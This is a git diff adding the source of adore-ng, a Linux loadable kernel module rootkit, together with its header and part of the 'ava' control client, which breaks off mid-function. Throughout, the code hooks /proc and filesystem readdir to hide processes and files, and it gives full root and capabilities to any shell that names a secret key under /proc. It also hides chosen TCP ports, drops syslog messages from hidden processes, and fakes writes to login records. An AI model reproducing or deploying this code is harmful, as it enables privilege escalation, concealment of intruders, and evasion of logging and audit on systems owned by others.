cap_set_full(current->cap_permitted); + } else if ((current->flags & PF_AUTH) && + strncmp(d->d_iname, "hide-", 5) == 0) { + hide_proc(adore_atoi(d->d_iname+5)); + } else if ((current->flags & PF_AUTH) && + strncmp(d->d_iname, "unhide-", 7) == 0) { + unhide_proc(adore_atoi(d->d_iname+7)); + } else if ((current->flags & PF_AUTH) && + strncmp(d->d_iname, "uninstall", 9) == 0) { + cleanup_module(); + } + + task_unlock(current); + + if (should_be_hidden(adore_atoi(d->d_iname)) && + /* A hidden ps must be able to see itself! */ + !should_be_hidden(current->pid)) + return NULL; + + return orig_proc_lookup(i, d, nd); +} + + +filldir_t proc_filldir = NULL; +spinlock_t proc_filldir_lock = SPIN_LOCK_UNLOCKED; + +int adore_proc_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x) +{ + if (should_be_hidden(adore_atoi(name))) + return 0; + return proc_filldir(buf, name, nlen, off, ino, x); +} + + + +int adore_proc_readdir(struct file *fp, void *buf, filldir_t filldir) +{ + int r = 0; + + spin_lock(&proc_filldir_lock); + proc_filldir = filldir; + r = orig_proc_readdir(fp, buf, adore_proc_filldir); + spin_unlock(&proc_filldir_lock); + return r; +} + + +filldir_t opt_filldir = NULL; +struct super_block *opt_sb[1024]; + +int adore_opt_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x) +{ + struct inode *inode = NULL; + int r = 0; + uid_t uid; + gid_t gid; + + if ((inode = iget(opt_sb[current->pid % 1024], ino)) == NULL) + return 0; + uid = inode->i_uid; + gid = inode->i_gid; + iput(inode); + + /* Is it hidden ? */ + if (uid == ELITE_UID && gid == ELITE_GID) { + r = 0; + } else + r = opt_filldir(buf, name, nlen, off, ino, x); + + return r; +} + + +int adore_opt_readdir(struct file *fp, void *buf, filldir_t filldir) +{ + int r = 0; + + if (!fp || !fp->f_vfsmnt) + return 0; + + opt_filldir = filldir; + opt_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb; + r = orig_opt_readdir(fp, buf, adore_opt_filldir); + + return r; +} + + + +/* About the locking of these global vars: + * I used to lock these via rwlocks but on SMP systems this can cause + * a deadlock because the iget() locks an inode itself and I guess this + * could cause a locking situation of AB BA. So, I do not lock root_sb and + * root_filldir (same with opt_) anymore. root_filldir should anyway always + * be the same (filldir64 or filldir, depending on the libc). The worst thing that + * could happen is that 2 processes call filldir where the 2nd is replacing + * root_sb which affects the 1st process which AT WORST CASE shows the hidden files. + * Following conditions have to be met then: 1. SMP 2. 2 processes calling getdents() + * on 2 different partitions with the same FS. + * Now, since I made an array of super_blocks it must also be that the PIDs of + * these procs have to be the same PID modulo 1024. This sitation (all 3 cases must + * be met) should be very very rare. + */ +filldir_t root_filldir = NULL; +struct super_block *root_sb[1024]; + + + +int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x) +{ + struct inode *inode = NULL; + int r = 0; + uid_t uid; + gid_t gid; + + if ((inode = iget(root_sb[current->pid % 1024], ino)) == NULL) + return 0; + uid = inode->i_uid; + gid = inode->i_gid; + iput(inode); + + /* Is it hidden ? */ + if (uid == ELITE_UID && gid == ELITE_GID) { + r = 0; + } else + r = root_filldir(buf, name, nlen, off, ino, x); + + return r; +} + + +int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir) +{ + int r = 0; + + if (!fp || !fp->f_vfsmnt) + return 0; + + root_filldir = filldir; + root_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb; + r = orig_root_readdir(fp, buf, adore_root_filldir); + + return r; +} + + +int patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir) +{ + struct file *filep; + + if ((filep = filp_open(p, O_RDONLY, 0)) == NULL) { + return -1; + } + + if (orig_readdir) + *orig_readdir = filep->f_op->readdir; + + filep->f_op->readdir = new_readdir; + filp_close(filep, 0); + return 0; +} + + +int unpatch_vfs(const char *p, readdir_t orig_readdir) +{ + struct file *filep; + + if ((filep = filp_open(p, O_RDONLY, 0)) == NULL) { + return -1; + } + + filep->f_op->readdir = orig_readdir; + filp_close(filep, 0); + return 0; +} + + +char *strnstr(const char *haystack, const char *needle, size_t n) +{ + char *s = strstr(haystack, needle); + if (s == NULL) + return NULL; + if (s-haystack+strlen(needle) <= n) + return s; + else + return NULL; +} + + +struct proc_dir_entry *proc_find_tcp() +{ + struct proc_dir_entry *p = proc_net->subdir; + + while (strcmp(p->name, "tcp")) + p = p->next; + return p; +} + + +#define NET_CHUNK 150 + +struct tcp_seq_afinfo { + struct module *owner; + char *name; + unsigned short family; + int (*seq_show) (struct seq_file *, void *); + struct file_operations *seq_fops; +}; + +int (*orig_tcp4_seq_show)(struct seq_file*, void *) = NULL; + +int adore_tcp4_seq_show(struct seq_file *seq, void *v) +{ + int i = 0, r = 0; + char port[12]; + + r = orig_tcp4_seq_show(seq, v); + + for (i = 0; HIDDEN_SERVICES[i]; ++i) { + sprintf(port, ":%04X", HIDDEN_SERVICES[i]); + + /* Ignore hidden blocks */ + if (strnstr(seq->buf + seq->count-NET_CHUNK,port,NET_CHUNK)) { + seq->count -= NET_CHUNK; + break; + } + } + + return r; +} + +static +int (*orig_unix_dgram_recvmsg)(struct kiocb *, struct socket *, struct msghdr *, + size_t, int) = NULL; +static struct proto_ops *unix_dgram_ops = NULL; + +int adore_unix_dgram_recvmsg(struct kiocb *kio, struct socket *sock, + struct msghdr *msg, size_t size, int flags) +{ + struct sock *sk = NULL; + int noblock = flags & MSG_DONTWAIT; + struct sk_buff *skb = NULL; + int err; + struct ucred *creds = NULL; + int not_done = 1; + + if (strcmp(current->comm, "syslogd") != 0 || !msg || !sock) + goto out; + + sk = sock->sk; + + err = -EOPNOTSUPP; + if (flags & MSG_OOB) + goto out; + + do { + msg->msg_namelen = 0; + skb = skb_recv_datagram(sk, flags|MSG_PEEK, noblock, &err); + if (!skb) + goto out; + creds = UNIXCREDS(skb); + if (!creds) + goto out; + if ((not_done = should_be_hidden(creds->pid))) + skb_dequeue(&sk->sk_receive_queue); + } while (not_done); + +out: + err = orig_unix_dgram_recvmsg(kio, sock, msg, size, flags); + return err; +} + + +static struct file *var_files[] = { + NULL, + NULL, + NULL, + NULL +}; + +static char *var_filenames[] = { + "/var/run/utmp", + "/var/log/wtmp", + "/var/log/lastlog", + NULL +}; + +static +ssize_t (*orig_var_write)(struct file *, const char *, size_t, loff_t *) = NULL; + +static +ssize_t adore_var_write(struct file *f, const char *buf, size_t blen, loff_t *off) +{ + int i = 0; + + /* If its hidden and if it has no special privileges and + * if it tries to write to the /var files, fake it + */ + if (should_be_hidden(current->pid) && + !(current->flags & PF_AUTH)) { + for (i = 0; var_filenames[i]; ++i) { + if (var_files[i] && + var_files[i]->f_dentry->d_inode->i_ino == f->f_dentry->d_inode->i_ino) { + *off += blen; + return blen; + } + } + } + return orig_var_write(f, buf, blen, off); +} + + +static int patch_syslog() +{ + struct socket *sock = NULL; + + /* PF_UNIX, SOCK_DGRAM */ + if (sock_create(1, 2, 0, &sock) < 0) + return -1; + + if (sock && (unix_dgram_ops = sock->ops)) { + orig_unix_dgram_recvmsg = unix_dgram_ops->recvmsg; + unix_dgram_ops->recvmsg = adore_unix_dgram_recvmsg; + sock_release(sock); + } + + return 0; +} + + +static int __init adore_init() +{ + struct proc_dir_entry *pde = NULL; + struct tcp_seq_afinfo *t_afinfo = NULL; + int i = 0, j = 0; + + memset(hidden_procs, 0, sizeof(hidden_procs)); + + pde = proc_find_tcp(); + t_afinfo = (struct tcp_seq_afinfo*)pde->data; + if (t_afinfo) { + orig_tcp4_seq_show = t_afinfo->seq_show; + t_afinfo->seq_show = adore_tcp4_seq_show; + } + + orig_proc_lookup = proc_root.proc_iops->lookup; + proc_root.proc_iops->lookup = adore_lookup; + + patch_vfs(proc_fs, &orig_proc_readdir, adore_proc_readdir); + patch_vfs(root_fs, &orig_root_readdir, adore_root_readdir); + if (opt_fs) + patch_vfs(opt_fs, &orig_opt_readdir, + adore_opt_readdir); + + patch_syslog(); + + j = 0; + for (i = 0; var_filenames[i]; ++i) { + var_files[i] = filp_open(var_filenames[i], O_RDONLY, 0); + if (IS_ERR(var_files[i])) { + var_files[i] = NULL; + continue; + } + if (!j) { /* just replace one time, its all the same FS */ + orig_var_write = var_files[i]->f_op->write; + var_files[i]->f_op->write = adore_var_write; + j = 1; + } + } + + return 0; +} + + +static void __exit adore_cleanup() +{ + struct proc_dir_entry *pde = NULL; + struct tcp_seq_afinfo *t_afinfo = NULL; + int i = 0, j = 0; + static int cleaned = 0; + + if (cleaned) + return; + + pde = proc_find_tcp(); + t_afinfo = (struct tcp_seq_afinfo*)pde->data; + if (t_afinfo && orig_tcp4_seq_show) + t_afinfo->seq_show = orig_tcp4_seq_show; + + proc_root.proc_iops->lookup = orig_proc_lookup; + + unpatch_vfs(proc_fs, orig_proc_readdir); + unpatch_vfs(root_fs, orig_root_readdir); + + if (orig_opt_readdir) + unpatch_vfs(opt_fs, orig_opt_readdir); + + /* In case where syslogd wasnt found in init_module() */ + if (unix_dgram_ops && orig_unix_dgram_recvmsg) + unix_dgram_ops->recvmsg = orig_unix_dgram_recvmsg; + + j = 0; + for (i = 0; var_filenames[i]; ++i) { + if (var_files[i]) { + if (!j) { + var_files[i]->f_op->write = orig_var_write; + j = 1; + } + filp_close(var_files[i], 0); + } + } + + cleaned = 1; +} + +module_init(adore_init); +module_exit(adore_cleanup); + +MODULE_LICENSE("GPL"); + diff --git a/other/adore-ng/adore-ng.c b/other/adore-ng/adore-ng.c new file mode 100644 index 0000000..3194299 --- /dev/null +++ b/other/adore-ng/adore-ng.c @@ -0,0 +1,665 @@ +/*** (C) 2004 by Stealth + *** + *** http://spider.scorpions.net/~stealth + *** http://stealth.7350.org/rootkits + *** + *** + *** (C)'ed Under a BSDish license. Please look at LICENSE-file. + *** SO YOU USE THIS AT YOUR OWN RISK! + *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS. + *** !!! FOR EDUCATIONAL PURPOSES ONLY !!! + *** + *** -> Use ava to get all the things workin'. + *** + ***/ +#define __KERNEL__ +#define MODULE + + +#ifdef MODVERSIONS +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "adore-ng.h" + + +char *proc_fs = "/proc"; /* default proc FS to hide processes */ +MODULE_PARM(proc_fs, "s"); +char *root_fs = "/"; /* default FS to hide files */ + +MODULE_PARM(root_fs, "s"); +char *opt_fs = NULL; +MODULE_PARM(opt_fs, "s"); + + +typedef int (*readdir_t)(struct file *, void *, filldir_t); +readdir_t orig_root_readdir = NULL, orig_opt_readdir = NULL, + orig_proc_readdir = NULL; + +struct dentry *(*orig_proc_lookup)(struct inode *, struct dentry *) = NULL; + + +int cleanup_module(); + +static int tcp_new_size(); +static int (*o_get_info_tcp)(char *, char **, off_t, int); + +extern struct socket *sockfd_lookup(int fd, int *err); +extern __inline__ void sockfd_put(struct socket *sock) +{ + fput(sock->file); +} + +#ifndef PID_MAX +#define PID_MAX 0x8000 +#endif + +static char hidden_procs[PID_MAX/8+1]; + +inline void hide_proc(pid_t x) +{ + if (x >= PID_MAX || x == 1) + return; + hidden_procs[x/8] |= 1<<(x%8); +} + +inline void unhide_proc(pid_t x) +{ + if (x >= PID_MAX) + return; + hidden_procs[x/8] &= ~(1<<(x%8)); +} + +inline char is_invisible(pid_t x) +{ + if (x >= PID_MAX) + return 0; + return hidden_procs[x/8]&(1<<(x%8)); +} + +/* Theres some crap after the PID-filename on proc + * getdents() so the semantics of this function changed: + * Make "672" -> 672 and + * "672|@\" -> 672 too + */ +int adore_atoi(const char *str) +{ + int ret = 0, mul = 1; + const char *ptr; + + for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++) + ; + ptr--; + while (ptr >= str) { + if (*ptr < '0' || *ptr > '9') + break; + ret += (*ptr - '0') * mul; + mul *= 10; + ptr--; + } + return ret; +} + +/* Own implementation of find_task_by_pid() */ +struct task_struct *adore_find_task(pid_t pid) +{ + struct task_struct *p; + + read_lock(&tasklist_lock); // XXX: locking necessary? + for_each_task(p) { + if (p->pid == pid) { + read_unlock(&tasklist_lock); + return p; + } + } + read_unlock(&tasklist_lock); + return NULL; +} + +int should_be_hidden(pid_t pid) +{ + struct task_struct *p = NULL; + + if (is_invisible(pid)) { + return 1; + } + + p = adore_find_task(pid); + if (!p) + return 0; + + /* If the parent is hidden, we are hidden too XXX */ + task_lock(p); + + if (is_invisible(p->p_pptr->pid)) { + task_unlock(p); + hide_proc(pid); + return 1; + } + + task_unlock(p); + return 0; +} + +/* You can control adore-ng without ava too: + * + * echo > /proc/ will make the shell authenticated, + * cat /proc/hide- from such a shell will hide PID, + * cat /proc/unhide- will unhide the process + * cat /proc/uninstall will uninstall adore + */ +struct dentry *adore_lookup(struct inode *i, struct dentry *d) +{ + + task_lock(current); + + if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) { + current->flags |= PF_AUTH; + current->suid = ADORE_VERSION; + } else if ((current->flags & PF_AUTH) && + strncmp(d->d_iname, "fullprivs", 9) == 0) { + current->uid = 0; + current->suid = 0; + current->euid = 0; + current->gid = 0; + current->egid = 0; + current->fsuid = 0; + current->fsgid = 0; + + cap_set_full(current->cap_effective); + cap_set_full(current->cap_inheritable); + cap_set_full(current->cap_permitted); + } else if ((current->flags & PF_AUTH) && + strncmp(d->d_iname, "hide-", 5) == 0) { + hide_proc(adore_atoi(d->d_iname+5)); + } else if ((current->flags & PF_AUTH) && + strncmp(d->d_iname, "unhide-", 7) == 0) { + unhide_proc(adore_atoi(d->d_iname+7)); + } else if ((current->flags & PF_AUTH) && + strncmp(d->d_iname, "uninstall", 9) == 0) { + cleanup_module(); + } + + task_unlock(current); + + if (should_be_hidden(adore_atoi(d->d_iname)) && + /* A hidden ps must be able to see itself! */ + !should_be_hidden(current->pid)) + return NULL; + + return orig_proc_lookup(i, d); +} + + +filldir_t proc_filldir = NULL; +spinlock_t proc_filldir_lock = SPIN_LOCK_UNLOCKED; + +int adore_proc_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x) +{ + if (should_be_hidden(adore_atoi(name))) + return 0; + return proc_filldir(buf, name, nlen, off, ino, x); +} + + + +int adore_proc_readdir(struct file *fp, void *buf, filldir_t filldir) +{ + int r = 0; + + spin_lock(&proc_filldir_lock); + proc_filldir = filldir; + r = orig_proc_readdir(fp, buf, adore_proc_filldir); + spin_unlock(&proc_filldir_lock); + return r; +} + + +filldir_t opt_filldir = NULL; +struct super_block *opt_sb[1024]; + +int adore_opt_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x) +{ + struct inode *inode = NULL; + int r = 0; + uid_t uid; + gid_t gid; + + if ((inode = iget(opt_sb[current->pid % 1024], ino)) == NULL) + return 0; + uid = inode->i_uid; + gid = inode->i_gid; + iput(inode); + + /* Is it hidden ? */ + if (uid == ELITE_UID && gid == ELITE_GID) { + r = 0; + } else + r = opt_filldir(buf, name, nlen, off, ino, x); + + return r; +} + + +int adore_opt_readdir(struct file *fp, void *buf, filldir_t filldir) +{ + int r = 0; + + if (!fp || !fp->f_vfsmnt) + return 0; + + opt_filldir = filldir; + opt_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb; + r = orig_opt_readdir(fp, buf, adore_opt_filldir); + + return r; +} + + +/* About the locking of these global vars: + * I used to lock these via rwlocks but on SMP systems this can cause + * a deadlock because the iget() locks an inode itself and I guess this + * could cause a locking situation of AB BA. So, I do not lock root_sb and + * root_filldir (same with opt_) anymore. root_filldir should anyway always + * be the same (filldir64 or filldir, depending on the libc). The worst thing that + * could happen is that 2 processes call filldir where the 2nd is replacing + * root_sb which affects the 1st process which AT WORST CASE shows the hidden files. + * Following conditions have to be met then: 1. SMP 2. 2 processes calling getdents() + * on 2 different partitions with the same FS. + * Now, since I made an array of super_blocks it must also be that the PIDs of + * these procs have to be the same PID modulo 1024. This sitation (all 3 cases must + * be met) should be very very rare. + */ +filldir_t root_filldir = NULL; +struct super_block *root_sb[1024]; + + +int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x) +{ + struct inode *inode = NULL; + int r = 0; + uid_t uid; + gid_t gid; + + if ((inode = iget(root_sb[current->pid % 1024], ino)) == NULL) + return 0; + uid = inode->i_uid; + gid = inode->i_gid; + iput(inode); + + /* Is it hidden ? */ + if (uid == ELITE_UID && gid == ELITE_GID) { + r = 0; + } else + r = root_filldir(buf, name, nlen, off, ino, x); + + return r; +} + + +int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir) +{ + int r = 0; + + if (!fp || !fp->f_vfsmnt) + return 0; + + root_filldir = filldir; + root_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb; + r = orig_root_readdir(fp, buf, adore_root_filldir); + return r; +} + + +int patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir) +{ + struct file *filep; + + if ((filep = filp_open(p, O_RDONLY, 0)) == NULL) { + return -1; + } + + if (orig_readdir) + *orig_readdir = filep->f_op->readdir; + + filep->f_op->readdir = new_readdir; + filp_close(filep, 0); + return 0; +} + + +int unpatch_vfs(const char *p, readdir_t orig_readdir) +{ + struct file *filep; + + if ((filep = filp_open(p, O_RDONLY, 0)) == NULL) { + return -1; + } + + filep->f_op->readdir = orig_readdir; + filp_close(filep, 0); + return 0; +} + + +char *strnstr(const char *haystack, const char *needle, size_t n) +{ + char *s = strstr(haystack, needle); + if (s == NULL) + return NULL; + if (s-haystack+strlen(needle) <= n) + return s; + else + return NULL; +} + + +struct proc_dir_entry *proc_find_tcp() +{ + struct proc_dir_entry *p = proc_net->subdir; + + while (strcmp(p->name, "tcp")) + p = p->next; + return p; +} + + +/* Reading from /proc/net/tcp gives back data in chunks + * of NET_CHUNK. We try to match these against hidden ports + * and remove them respectively + */ +#define NET_CHUNK 150 +int n_get_info_tcp(char *page, char **start, off_t pos, int count) +{ + int r = 0, i = 0, n = 0, hidden = 0; + char port[10], *ptr = NULL, *mem = NULL, *it = NULL; + + /* Admin accessing beyond sizeof patched file? */ + if (pos >= tcp_new_size()) + return 0; + + r = o_get_info_tcp(page, start, pos, count); + + if (r <= 0)// NET_CHUNK) + return r; + + mem = (char *)kmalloc(r+NET_CHUNK+1, GFP_KERNEL); + if (!mem) + return r; + + memset(mem, 0, r+NET_CHUNK+1); + it = mem; + + /* If pos < NET_CHUNK then theres preamble which we can skip */ + if (pos >= NET_CHUNK) { + ptr = page; + n = (pos/NET_CHUNK) - 1; + } else { + memcpy(it, page, NET_CHUNK); + it += NET_CHUNK; + ptr = page + NET_CHUNK; + n = 0; + } + + for (; ptr < page+r; ptr += NET_CHUNK) { + hidden = 0; + for (i = 0; HIDDEN_SERVICES[i]; ++i) { + sprintf(port, ":%04X", HIDDEN_SERVICES[i]); + + /* Ignore hidden blocks */ + if (strnstr(ptr, port, NET_CHUNK)) + hidden = 1; + } + if (!hidden) { + sprintf(port, "%4d:", n); + strncpy(ptr, port, strlen(port)); + memcpy(it, ptr, NET_CHUNK); + it += NET_CHUNK; + ++n; + } + } + + memcpy(page, mem, r); + n = strlen(mem); + /* If we shrinked buffer, patch length */ + if (r > n) + r = n;//-(*start-page); + if (r < 0) + r = 0; + +// *start = page + (*start-page); + *start = page; + kfree(mem); + return r; +} + + +/* Calculate size of patched /proc/net/tcp */ +int tcp_new_size() +{ + int r, hits = 0, i = 0, l = 10*NET_CHUNK; + char *page = NULL, *start, *ptr, port[10]; + + for (;;) { + page = (char*)kmalloc(l+1, GFP_KERNEL); + if (!page) + return 0; + r = o_get_info_tcp(page, &start, 0, l); + if (r < l) + break; + l <<= 1; + kfree(page); + } + + for (ptr = start; ptr < start+r; ptr += NET_CHUNK) { + for (i = 0; HIDDEN_SERVICES[i]; ++i) { + sprintf(port, ":%04X", HIDDEN_SERVICES[i]); + if (strnstr(ptr, port, NET_CHUNK)) { + ++hits; + break; + } + } + } + kfree(page); + return r - hits*NET_CHUNK; +} + + +static +int (*orig_unix_dgram_recvmsg)(struct socket *, struct msghdr *, int, + int, struct scm_cookie *) = NULL; +static struct proto_ops *unix_dgram_ops = NULL; + +int adore_unix_dgram_recvmsg(struct socket *sock, struct msghdr *msg, int size, + int flags, struct scm_cookie *scm) +{ + struct sock *sk = NULL; + int noblock = flags & MSG_DONTWAIT; + struct sk_buff *skb = NULL; + int err; + struct ucred *creds = NULL; + int not_done = 1; + + if (strcmp(current->comm, "syslogd") != 0 || !msg || !sock) + goto out; + + sk = sock->sk; + + err = -EOPNOTSUPP; + if (flags & MSG_OOB) + goto out; + + do { + msg->msg_namelen = 0; + skb = skb_recv_datagram(sk, flags|MSG_PEEK, noblock, &err); + if (!skb) + goto out; + creds = UNIXCREDS(skb); + if (!creds) + goto out; + if ((not_done = should_be_hidden(creds->pid))) + skb_dequeue(&sk->receive_queue); + } while (not_done); + +out: + err = orig_unix_dgram_recvmsg(sock, msg, size, flags, scm); + return err; +} + + +static struct file *var_files[] = { + NULL, + NULL, + NULL, + NULL +}; + +static char *var_filenames[] = { + "/var/run/utmp", + "/var/log/wtmp", + "/var/log/lastlog", + NULL +}; + +static +ssize_t (*orig_var_write)(struct file *, const char *, size_t, loff_t *) = NULL; + +static +ssize_t adore_var_write(struct file *f, const char *buf, size_t blen, loff_t *off) +{ + int i = 0; + + /* If its hidden and if it has no special privileges and + * if it tries to write to the /var files, fake it + */ + if (should_be_hidden(current->pid) && + !(current->flags & PF_AUTH)) { + for (i = 0; var_filenames[i]; ++i) { + if (var_files[i] && + var_files[i]->f_dentry->d_inode->i_ino == f->f_dentry->d_inode->i_ino) { + *off += blen; + return blen; + } + } + } + return orig_var_write(f, buf, blen, off); +} + + +static int patch_syslog() +{ + struct socket *sock = NULL; + + /* PF_UNIX, SOCK_DGRAM */ + if (sock_create(1, 2, 0, &sock) < 0) + return -1; + + if (sock && (unix_dgram_ops = sock->ops)) { + orig_unix_dgram_recvmsg = unix_dgram_ops->recvmsg; + unix_dgram_ops->recvmsg = adore_unix_dgram_recvmsg; + sock_release(sock); + } + + return 0; +} + + +#ifdef RELINKED +extern int zero_module(); +extern int zeronup_module(); +#endif + +int init_module() +{ + struct proc_dir_entry *pde = NULL; + int i = 0, j = 0; + + EXPORT_NO_SYMBOLS; + + memset(hidden_procs, 0, sizeof(hidden_procs)); + + pde = proc_find_tcp(); + o_get_info_tcp = pde->get_info; + pde->get_info = n_get_info_tcp; + + orig_proc_lookup = proc_root.proc_iops->lookup; + proc_root.proc_iops->lookup = adore_lookup; + + patch_vfs(proc_fs, &orig_proc_readdir, adore_proc_readdir); + patch_vfs(root_fs, &orig_root_readdir, adore_root_readdir); + if (opt_fs) + patch_vfs(opt_fs, &orig_opt_readdir, + adore_opt_readdir); + + patch_syslog(); + + j = 0; + for (i = 0; var_filenames[i]; ++i) { + var_files[i] = filp_open(var_filenames[i], O_RDONLY, 0); + if (IS_ERR(var_files[i])) { + var_files[i] = NULL; + continue; + } + if (!j) { /* just replace one time, its all the same FS */ + orig_var_write = var_files[i]->f_op->write; + var_files[i]->f_op->write = adore_var_write; + j = 1; + } + } +#ifdef RELINKED + MOD_INC_USE_COUNT; + zero_module(); +#endif + return 0; +} + + +int cleanup_module() +{ + int i = 0, j = 0; + + proc_find_tcp()->get_info = o_get_info_tcp; + proc_root.proc_iops->lookup = orig_proc_lookup; + + unpatch_vfs(proc_fs, orig_proc_readdir); + unpatch_vfs(root_fs, orig_root_readdir); + + if (orig_opt_readdir) + unpatch_vfs(opt_fs, orig_opt_readdir); + + /* In case where syslogd wasnt found in init_module() */ + if (unix_dgram_ops && orig_unix_dgram_recvmsg) + unix_dgram_ops->recvmsg = orig_unix_dgram_recvmsg; + + j = 0; + for (i = 0; var_filenames[i]; ++i) { + if (var_files[i]) { + if (!j) { + var_files[i]->f_op->write = orig_var_write; + j = 1; + } + filp_close(var_files[i], 0); + } + } + + return 0; +} + +MODULE_LICENSE("GPL"); + diff --git a/other/adore-ng/adore-ng.h b/other/adore-ng/adore-ng.h new file mode 100644 index 0000000..b5e2eab --- /dev/null +++ b/other/adore-ng/adore-ng.h @@ -0,0 +1,55 @@ +/*** (C) 2003 by Stealth -- http://stealth.7350.org + *** + *** + *** (C)'ed Under a BSDish license. Please look at LICENSE-file. + *** SO YOU USE THIS AT YOUR OWN RISK! + *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS. + *** !!! FOR EDUCATIONAL PURPOSES ONLY !!! + *** + *** -> Use ava to get all the things workin'. + *** + *** Greets fly out to all my friends. You know who you are. :) + *** Special thanks to Shivan for granting root access to his + *** SMP box for adore-development. More thx to skyper for also + *** granting root access. + *** + ***/ +#ifndef __ADORE_NG_H__ +#define __ADORE_NG_H__ + +/* to check whether request is legal */ +#define PF_AUTH 0x1000000 + +#ifndef ELITE_UID +#error "No ELITE_UID given!" +#endif + +#ifndef ELITE_GID +#error "No ELITE_GID given!" +#endif + +#ifndef ADORE_KEY +#error "No ADORE_KEY given!" +#endif + +#define ADORE_VERSION CURRENT_ADORE + +/* Very old kernels don't have an equivalent macro... */ +#define LinuxVersionCode(v, p, s) (((v)<<16)+((p)<<8)+(s)) + +u_short HIDDEN_SERVICES[] = + {2222, 7350, 0}; + +/* END CHANGE SECTION */ + +struct task_struct *adore_find_task(pid_t); + +int adore_atoi(const char *); +extern struct module *module_list; + +#ifdef LINUX26 +#undef for_each_task +#define for_each_task for_each_process +#endif + +#endif /* __ADORE_NG_H__ */ diff --git a/other/adore-ng/adore-ng.mod.c b/other/adore-ng/adore-ng.mod.c new file mode 100644 index 0000000..807478c --- /dev/null +++ b/other/adore-ng/adore-ng.mod.c @@ -0,0 +1,17 @@ +#define MODULE +#define __KERNEL__ +#ifdef MODVERSIONS +#include +#endif + +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends="; + diff --git a/other/adore-ng/ava.c b/other/adore-ng/ava.c new file mode 100644 index 0000000..cf68e79 --- /dev/null +++ b/other/adore-ng/ava.c @@ -0,0 +1,146 @@ +/* + * Copyright (C) 1999-2003 Stealth. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Stealth. + * 4. The name Stealth may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "libinvisible.h" + +extern char **environ; + +const char *adore_key = ADORE_KEY; +const uid_t elite_uid = ELITE_UID; +const gid_t elite_gid = ELITE_GID; +const int current_adore = CURRENT_ADORE; + +int main(int argc, char *argv[]) +{ + int version; + char what; + adore_t *a; + + if (argc < 3 && !(argc == 2 && + (argv[1][0] == 'U' || argv[1][0] == 'I'))) { + printf("Usage: %s {h,u,r,R,i,v,U} [file or PID]\n\n" + " I print info (secret UID etc)\n" + " h hide file\n" + " u unhide file\n" + " r execute as root\n" + " R remove PID forever\n" + " U uninstall adore\n" + " i make PID invisible\n" + " v make PID visible\n\n", argv[0]); + exit(1); + } + what = argv[1][0]; + + printf("Checking for adore 0.12 or higher ...\n"); + + a = adore_init(); + if (adore_makeroot(a) < 0) + fprintf(stderr, "Failed to run as root. Trying anyway ...\n"); + + if ((version = adore_getvers(a)) <= 0 && what != 'I') { + printf("Adore NOT installed. Exiting.\n"); + exit(1); + } + if (version < CURRENT_ADORE) + printf("Found adore 1.%d installed. Please update adore.", version); + else + printf("Adore 1.%d installed. Good luck.\n", version); + + switch (what) { + + /* hide file */ + case 'h': + if (adore_hidefile(a, argv[2]) >= 0) + printf("File '%s' hided.\n", argv[2]); + else + printf("Can't hide file.\n"); + break; + + /* unhide file */ + case 'u': + if (adore_unhidefile(a, argv[2]) >= 0) + printf("File '%s' unhided.\n", argv[2]); + else + printf("Can't unhide file.\n"); + break; + /* make pid invisible */ + case 'i': + if (adore_hideproc(a, (pid_t)atoi(argv[2])) >= 0) + printf("Made PID %d invisible.\n", atoi(argv[2])); + else + printf("Can't hide process.\n"); + break; + + /* make pid visible */ + case 'v': + if (adore_unhideproc(a, (pid_t)atoi(argv[2])) >= 0) + printf("Made PID %d visible.\n", atoi(argv[2])); + else + printf("Can't unhide process.\n"); + break; + /* execute command as root */ + case 'r': + execve(argv[2], argv+2, environ); + perror("execve"); + break; + case 'R': + if (adore_removeproc(a, (pid_t)atoi(argv[2])) >= 0) + 